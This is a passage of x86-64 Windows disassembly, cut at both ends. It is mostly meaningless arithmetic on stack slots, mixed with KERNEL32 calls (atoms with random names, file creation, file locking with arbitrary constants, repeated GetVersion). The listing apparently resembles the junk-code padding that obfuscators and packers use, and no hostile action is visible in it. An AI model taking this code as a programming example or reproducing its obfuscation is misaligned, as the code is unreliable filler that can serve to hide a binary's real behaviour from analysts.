mov word [rcx], ax
mov rax, qword [rsp + 0x13888]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13fb8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x166], al
lea rax, [rsp + 0x870c]
mov qword [rsp + 0x14200], rax
lea rcx, str.y9k_HCz9Nb_RwdLr3BHvObtReZ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ac8], ax
mov rax, qword [rsp + 0x140e8]
mov rcx, qword [rsp + 0x13a80]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaaf0], eax
lea rax, [rsp + 0xa980]
mov qword [rsp + 0x14208], rax
mov rax, qword [rsp + 0x14050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13858]
mov dword [rcx], eax
mov rax, qword [0x140363a98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13518]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x135e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13ed0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14035cc14], ax
lea rax, [rsp + 0x7a08]
mov qword [rsp + 0x14210], rax
mov rax, qword [0x140363b60]
mov ecx, dword [rsp + 0xa90c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13840]
mov dword [rcx], eax
mov r9d, 2
lea r8, [rsp + 0x12f98]
mov rdx, qword [rsp + 0x137c8]
mov rcx, qword [rsp + 0x13528]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa94c], eax
mov rax, qword [rsp + 0x13828]
mov eax, dword [rax]
mov dword [rsp + 0xabc0], eax
mov rax, qword [rsp + 0x13328]
mov rcx, qword [rsp + 0x135b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa9c0], eax
mov rax, qword [rsp + 0x13f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaaf8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13cb0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6c8]
mov rcx, qword [rsp + 0x132e8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x32c], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.kO58E5Qn_vHpnEe9upTZm
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14218], rax
movsx eax, word [rsp + 0x2aa0]
movsx ecx, word [0x140362bf4]
or eax, ecx
mov word [rsp + 0x29d8], ax
movzx eax, byte [rsp + 0x6c6]
mov byte [rsp + 0x6db], al
movzx eax, word [rsp + 0x251c]
mov word [0x140362d5c], ax
mov rax, qword [rsp + 0x13668]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xab30]
shr eax, cl
mov dword [rsp + 0x99e8], eax
mov rax, qword [rsp + 0x13738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7c88]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f68], eax
mov rax, qword [rsp + 0x13448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a54]
shl eax, cl
mov word [rsp + 0x1cb4], ax
mov rax, qword [rsp + 0x13c40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x138b0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13590]
mov byte [rcx], al
mov rax, qword [rsp + 0x13d10]
mov eax, dword [rax]
mov dword [rsp + 0xabc4], eax
mov eax, dword [rsp + 0xab30]
mov ecx, dword [rsp + 0xab64]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13248]
mov dword [rcx], eax
mov rax, qword [0x1403639d8]
mov eax, dword [rax]
mov dword [rsp + 0xabc8], eax
mov rax, qword [rsp + 0x134a8]
mov rcx, qword [rsp + 0x13b20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab18], eax
movzx eax, byte [rsp + 0x5fb]
mov rcx, qword [rsp + 0x138b0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1403639c8]
mov byte [rcx], al
xor r9d, r9d
lea r8, [rsp + 0x141f0]
mov rdx, qword [rsp + 0x137c8]
mov rcx, qword [rsp + 0x13f58]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa34], eax
movzx ecx, word [rsp + 0x2a24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b08], ax
movzx eax, word [rsp + 0x2a58]
mov rcx, qword [rsp + 0x132b0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13480]
mov word [rcx], ax
mov rax, qword [rsp + 0x13790]
mov rcx, qword [rsp + 0x13738]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7ea0], eax
mov r9d, 0x1919
xor r8d, r8d
lea rdx, [rsp + 0x12f28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa870], eax
mov eax, dword [rsp + 0xa810]
mov ecx, dword [rsp + 0xaa64]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13510]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2a38]
mov word [rsp + 0x2b0c], ax
lea rdx, [rsp + 0x14220]
mov rcx, qword [rsp + 0x136c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa9d0], eax
movsx eax, byte [rsp + 0x6bd]
mov rcx, qword [rsp + 0x13d78]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13ef0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa994], eax
movzx ecx, word [rsp + 0x2ac0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2998], ax
movzx eax, word [0x14035cbf4]
movzx ecx, word [rsp + 0x2aa8]
sub eax, ecx
mov rcx, qword [rsp + 0x13ba8]
mov word [rcx], ax
lea rax, [rsp + 0x23b]
mov qword [rsp + 0x14228], rax
mov rax, qword [rsp + 0x132a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13fe0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8f8c]
mov ecx, dword [rsp + 0xaa6c]
sub ecx, eax
mov eax, ecx
mov dword [0x140363a64], eax
mov eax, dword [rsp + 0xa350]
mov ecx, dword [rsp + 0xab2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x910c], eax
mov rax, qword [rsp + 0x13280]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6f68]
shl eax, cl
mov dword [rsp + 0x64f0], eax
mov rax, qword [rsp + 0x13478]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7410]
sar eax, cl
mov rcx, qword [rsp + 0x13ae0]
mov dword [rcx], eax
lea rax, [rsp + 0x6b1]
mov qword [rsp + 0x14230], rax
movzx eax, word [rsp + 0x29a0]
movzx ecx, word [rsp + 0x2484]
xor eax, ecx
mov word [rsp + 0x1008], ax
mov eax, dword [rsp + 0xa9f8]
mov dword [rsp + 0xabcc], eax
mov rax, qword [rsp + 0x141a8]
mov ecx, dword [rsp + 0xa87c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13ef8]
mov dword [rcx], eax
lea rax, [0x14035cbf0]
mov qword [rsp + 0x14238], rax
lea rax, [rsp + 0xa350]
mov qword [0x140363bf0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xabd0], eax
lea rdx, [rsp + 0x45bd0]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa918], eax
mov rax, qword [rsp + 0x13398]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x135e8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov r9d, 2
lea r8, [rsp + 0x12fb0]
mov rdx, qword [rsp + 0x138f8]
mov rcx, qword [rsp + 0x13f58]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xabd4], eax
mov rax, qword [rsp + 0x14228]
movzx eax, byte [rax]
movzx ecx, byte [0x140353582]
and eax, ecx
mov byte [rsp + 0x4bc], al
mov rax, qword [rsp + 0x13390]
movzx eax, byte [rax]
mov byte [rsp + 0x6dc], al
movsx eax, word [rsp + 0x235c]
mov rcx, qword [rsp + 0x13e60]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14140]
mov word [rcx], ax
mov rax, qword [0x140363a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa08]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7820], eax
mov eax, dword [rsp + 0xaa84]
mov ecx, dword [rsp + 0xa914]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8fc], eax
mov rax, qword [rsp + 0x141b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13768]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x141b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x133f0]
movzx eax, byte [rax]
mov byte [rsp + 0x6dd], al
mov eax, dword [rsp + 0xab6c]
mov ecx, dword [rsp + 0xab98]
add ecx, eax
mov eax, ecx
mov dword [0x14035cc30], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x13a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13fc0]
mov ecx, dword [rsp + 0xa91c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa14c], eax
mov eax, dword [rsp + 0x64f0]
mov ecx, dword [rsp + 0xa9dc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13be0]
mov dword [rcx], eax
mov rax, qword [0x1403639c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6cf]
sar eax, cl
mov rcx, qword [rsp + 0x133e0]
mov byte [rcx], al
lea rax, [rsp + 0x2a7c]
mov qword [rsp + 0x14240], rax
mov rax, qword [rsp + 0x139c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13ad0]
mov qword [rsp + 0x14248], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14248]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13ad8]
mov dword [rcx], eax
lea rax, [0x140363b40]
mov qword [rsp + 0x14250], rax
mov rax, qword [rsp + 0x13450]
mov rcx, qword [rsp + 0x136b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13b28]
mov dword [rcx], eax
mov eax, dword [rsp + 0xab9c]
mov ecx, dword [rsp + 0xa32c]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140363b38]
mov dword [rcx], eax
lea rdx, [rsp + 0x45b98]
mov rcx, qword [rsp + 0x134e8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaa50], eax
lea rax, [rsp + 0xaa40]
mov qword [rsp + 0x14258], rax
mov rax, qword [rsp + 0x13810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9f]
sub eax, ecx
mov byte [rsp + 0x6bf], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.bVHDKAAyPtdeArDrmoWQXqkr0JAq
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14260], rax
movsx eax, word [rsp + 0x2aec]
mov rcx, qword [rsp + 0x13428]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a64], ax
lea rax, [rsp + 0x2af0]
mov qword [rsp + 0x14268], rax
movzx eax, byte [rsp + 0x5fb]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13558]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9a0], eax
lea rax, [rsp + 0xaa90]
mov qword [rsp + 0x14270], rax
mov rax, qword [rsp + 0x133c8]
mov eax, dword [rax]
mov ecx, dword [0x140363a70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x81b4], eax
movzx eax, word [rsp + 0x17d4]
mov rcx, qword [rsp + 0x13758]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x29a4], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c0]
add eax, ecx
mov byte [0x14035e4d7], al
mov eax, dword [rsp + 0x7a24]
mov dword [rsp + 0xabd8], eax
mov eax, dword [rsp + 0xa908]
mov ecx, dword [rsp + 0xaa58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8ec], eax
mov rax, qword [rsp + 0x13328]
mov eax, dword [rax]
mov dword [rsp + 0xabdc], eax
mov rax, qword [0x140363a38]
mov ecx, dword [rsp + 0xa764]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaaf0], eax
mov rax, qword [rsp + 0x13208]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29ec]
add eax, ecx
mov word [rsp + 0x29b4], ax
movzx eax, byte [rsp + 0x166]
movzx ecx, byte [rsp + 0x6d1]
shl eax, cl
mov byte [rsp + 0x4dc], al
mov rcx, qword [rsp + 0x13ca8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x13960]
mov ecx, dword [rsp + 0xab48]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13d38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f18]
mov eax, dword [rax]
mov dword [rsp + 0xabe0], eax
movzx eax, word [rsp + 0x2ab4]
mov word [0x140362d84], ax
movsx eax, byte [rsp + 0x6cc]
mov rcx, qword [rsp + 0x13d78]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x9f], al
movzx eax, word [rsp + 0x29f0]
mov rcx, qword [rsp + 0x135f8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1e64], ax
movzx eax, byte [0x140353582]
movzx ecx, byte [rsp + 0x6db]
and eax, ecx
mov byte [rsp + 0x464], al
mov rax, qword [rsp + 0x14168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaab0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ac8]
mov dword [rcx], eax
lea rax, [rsp + 0x6f68]
mov qword [rsp + 0x14278], rax
mov rax, qword [rsp + 0x139a0]
mov eax, dword [rax]
mov ecx, dword [0x14035cbe8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x710c], eax
mov eax, dword [rsp + 0xa914]
mov dword [rsp + 0xabe4], eax
mov rax, qword [rsp + 0x13610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133d0]
mov dword [rcx], eax
mov rax, qword [0x140363990]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ce]
and eax, ecx
mov byte [rsp + 0x6d7], al
movzx eax, word [rsp + 0x2af0]
mov rcx, qword [rsp + 0x14240]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140363b98]
mov word [rcx], ax
lea rax, [0x14035cc30]
mov qword [rsp + 0x14280], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9a0], eax
mov eax, dword [rsp + 0xaacc]
mov ecx, dword [rsp + 0xa2bc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8178], eax
lea rax, [rsp + 0xab54]
mov qword [rsp + 0x14288], rax
mov rax, qword [rsp + 0x13470]
mov ecx, dword [0x14035cc2c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13898]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13590]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13d50]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13590]
mov byte [rcx], al
lea rax, [rsp + 0x1cb4]
mov qword [rsp + 0x14290], rax
mov rax, qword [rsp + 0x139d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x131b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13950]
mov word [rcx], ax
mov rax, qword [rsp + 0x13918]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6d0]
sar eax, cl
mov byte [rsp + 0x68a], al
mov eax, dword [rsp + 0xa71c]
mov dword [0x140363bf8], eax
mov eax, dword [rsp + 0xaa18]
mov ecx, dword [rsp + 0xaa4c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2bc], eax
movzx eax, byte [rsp + 0x6d3]
movzx ecx, byte [rsp + 0x6c0]
shl eax, cl
mov byte [rsp + 0x6d1], al
lea rax, [rsp + 0x184c]
mov qword [rsp + 0x14298], rax
mov rax, qword [0x1403639d8]
mov rcx, qword [rsp + 0x13818]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13ad0]
mov dword [rcx], eax
lea rax, [rsp + 0xab84]
mov qword [rsp + 0x142a0], rax
mov rax, qword [rsp + 0x13d58]
mov rcx, qword [rsp + 0x13b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13dd0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa950]
mov ecx, dword [rsp + 0x9048]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14198]
mov dword [rcx], eax
lea rax, [rsp + 0x29f8]
mov qword [rsp + 0x142a8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3506
mov r9d, 0x3276
mov r8d, 0x891e4026
mov edx, 1
mov rcx, qword [rsp + 0x13520]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xabe8], eax
movzx ecx, word [rsp + 0x29ac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2aac], ax
mov rax, qword [rsp + 0x14158]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65c]
sub eax, ecx
mov byte [0x140353597], al
mov eax, dword [rsp + 0xab84]
mov ecx, dword [0x140363a18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xab64], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0x13c38]
mov eax, dword [rax]
mov dword [rsp + 0xabec], eax
mov rax, qword [rsp + 0x13f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x95dc], eax
mov eax, dword [rsp + 0x7e54]
mov dword [rsp + 0xabf0], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xabf4], eax
mov rax, qword [rsp + 0x14258]
mov ecx, dword [rsp + 0xabf0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13e00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13e60]
movsx eax, word [rax]
mov rcx, qword [0x140363ab0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a8c], ax
mov rax, qword [rsp + 0x134f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13390]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2f8], al
lea rdx, [rsp + 0x45c78]
mov rcx, qword [rsp + 0x141c0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaa9c], eax
movzx eax, word [rsp + 0x299c]
movzx ecx, word [rsp + 0x29cc]
add eax, ecx
mov word [rsp + 0x2554], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x14120]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x140363a10]
mov byte [rcx], al
lea rax, [rsp + 0xaa44]
mov qword [rsp + 0x142b0], rax
mov eax, dword [rsp + 0x6b80]
mov rcx, qword [rsp + 0x13690]
mov qword [rsp + 0x142b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x142b8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x13b28]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2abc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b10], ax
mov rax, qword [rsp + 0x13630]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51b]
shl eax, cl
mov byte [rsp + 0x6ca], al
lea rax, [rsp + 0x2ac4]
mov qword [rsp + 0x142c0], rax
lea rcx, [rsp + 0x41b08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x137a0]
mov ecx, dword [rsp + 0xa91c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xab2c], eax
lea rax, [rsp + 0x8994]
mov qword [rsp + 0x142c8], rax
mov rcx, qword [rsp + 0x13298]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x13c38]
mov rcx, qword [rsp + 0x13dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13578]
mov rcx, qword [0x140363bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa884], eax
mov r9d, 2
lea r8, [rsp + 0x133a8]
mov rdx, qword [rsp + 0x142d0]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa8c], eax
lea rcx, [rsp + 0x41b08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x6cb]
mov rcx, qword [rsp + 0x13630]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140363a10]
mov byte [rcx], al
lea rax, [rsp + 0x17d4]
mov qword [rsp + 0x142d8], rax
mov rax, qword [rsp + 0x14280]
mov rcx, qword [0x140363a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa278], eax
lea rax, [rsp + 0x92fc]
mov qword [rsp + 0x142e0], rax
mov rax, qword [rsp + 0x13d78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x136a0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x134f8]
mov byte [rcx], al
lea rax, [rsp + 0x2ab4]
mov qword [rsp + 0x142e8], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
movzx eax, byte [0x14035e4d4]
mov rcx, qword [rsp + 0x13868]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x140a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13480]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13ed0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2aa8], ax
lea rax, [rsp + 0xa808]
mov qword [rsp + 0x142f0], rax
lea rax, [0x140363a60]
mov qword [0x140363c00], rax
mov rax, qword [rsp + 0x13ee8]
mov ecx, dword [rsp + 0xabb4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7dac], eax
mov eax, dword [rsp + 0x9e54]
mov dword [rsp + 0xabf8], eax
mov rax, qword [rsp + 0x142e0]
mov eax, dword [rax]
mov ecx, dword [0x14035cbe8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d4]
or eax, ecx
mov byte [rsp + 0x416], al
mov rax, qword [rsp + 0x14268]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17d4]
sar eax, cl
mov word [rsp + 0x2690], ax
mov eax, dword [rsp + 0xab68]
mov ecx, dword [rsp + 0x67e4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
lea rax, [rsp + 0xa97c]
mov qword [rsp + 0x142f8], rax
mov eax, dword [rsp + 0xa7b4]
mov rcx, qword [rsp + 0x13610]
mov qword [rsp + 0x14300], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14300]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa3a8], eax
mov rax, qword [rsp + 0x13df8]
mov ecx, dword [rsp + 0xab70]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x1403639d8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6c5]
movzx ecx, byte [rsp + 0x4bc]
and eax, ecx
mov byte [rsp + 0x416], al
lea rax, [0x140362c04]
mov qword [rsp + 0x14308], rax
movsx eax, byte [rsp + 0x6b2]
movsx ecx, byte [rsp + 0x6b6]
add eax, ecx
mov byte [rsp + 0x6d0], al
lea rax, [rsp + 0x1868]
mov qword [rsp + 0x14310], rax
mov rax, qword [rsp + 0x13fa8]
mov rcx, qword [rsp + 0x13ba0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaaac], eax
movzx ecx, word [rsp + 0x2ac0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2adc], ax
mov eax, dword [rsp + 0xa894]
mov ecx, dword [rsp + 0xabc8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa904], eax
lea rax, [rsp + 0x11c]
mov qword [rsp + 0x14318], rax
movzx eax, word [rsp + 0x2a54]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14268]
mov word [rcx], ax
lea rax, [rsp + 0xa87c]
mov qword [0x140363c08], rax
lea rcx, str.SUcX9hBEZzi
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b14], ax
lea rax, [rsp + 0xa93c]
mov qword [rsp + 0x14320], rax
mov eax, dword [rsp + 0xa7d8]
mov ecx, dword [rsp + 0xaad8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13588]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13978]
mov eax, dword [rax]
mov dword [rsp + 0xabfc], eax
mov rax, qword [rsp + 0x142a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13ba8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29c0], ax
mov dword [rsp + 0x20], 0x164
mov r9d, 0xa18
mov r8d, 0x41b
mov edx, 0x3d7c
mov rcx, qword [rsp + 0x134e8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa8f0], eax
movzx eax, byte [rsp + 0x6b8]
movzx ecx, byte [0x140353597]
sub eax, ecx
mov rcx, qword [rsp + 0x13c40]
mov byte [rcx], al
mov eax, dword [rsp + 0x710c]
mov dword [rsp + 0xac00], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov eax, dword [rsp + 0x9d60]
mov ecx, dword [rsp + 0x7200]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13a78]
mov rcx, qword [0x140363b18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x66cc], eax
mov rax, qword [rsp + 0x13f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9ec]
sub ecx, eax
mov eax, ecx
mov dword [0x14035cc24], eax
mov rax, qword [rsp + 0x13c08]
mov rcx, qword [rsp + 0x138a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13380]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac04], eax
mov rax, qword [rsp + 0x13ef0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14030]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x43e], al
mov rax, qword [rsp + 0x13108]
movzx eax, word [rax]
mov word [rsp + 0x2b18], ax
movzx ecx, word [rsp + 0x29d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a50], ax
mov r9d, 2
lea r8, [rsp + 0x13058]
mov rdx, qword [rsp + 0x14328]
mov rcx, qword [rsp + 0x13940]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa7c4], eax
mov rax, qword [rsp + 0x132c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1778]
shl eax, cl
mov rcx, qword [rsp + 0x13a20]
mov word [rcx], ax
mov rax, qword [rsp + 0x14318]
movzx eax, byte [rax]
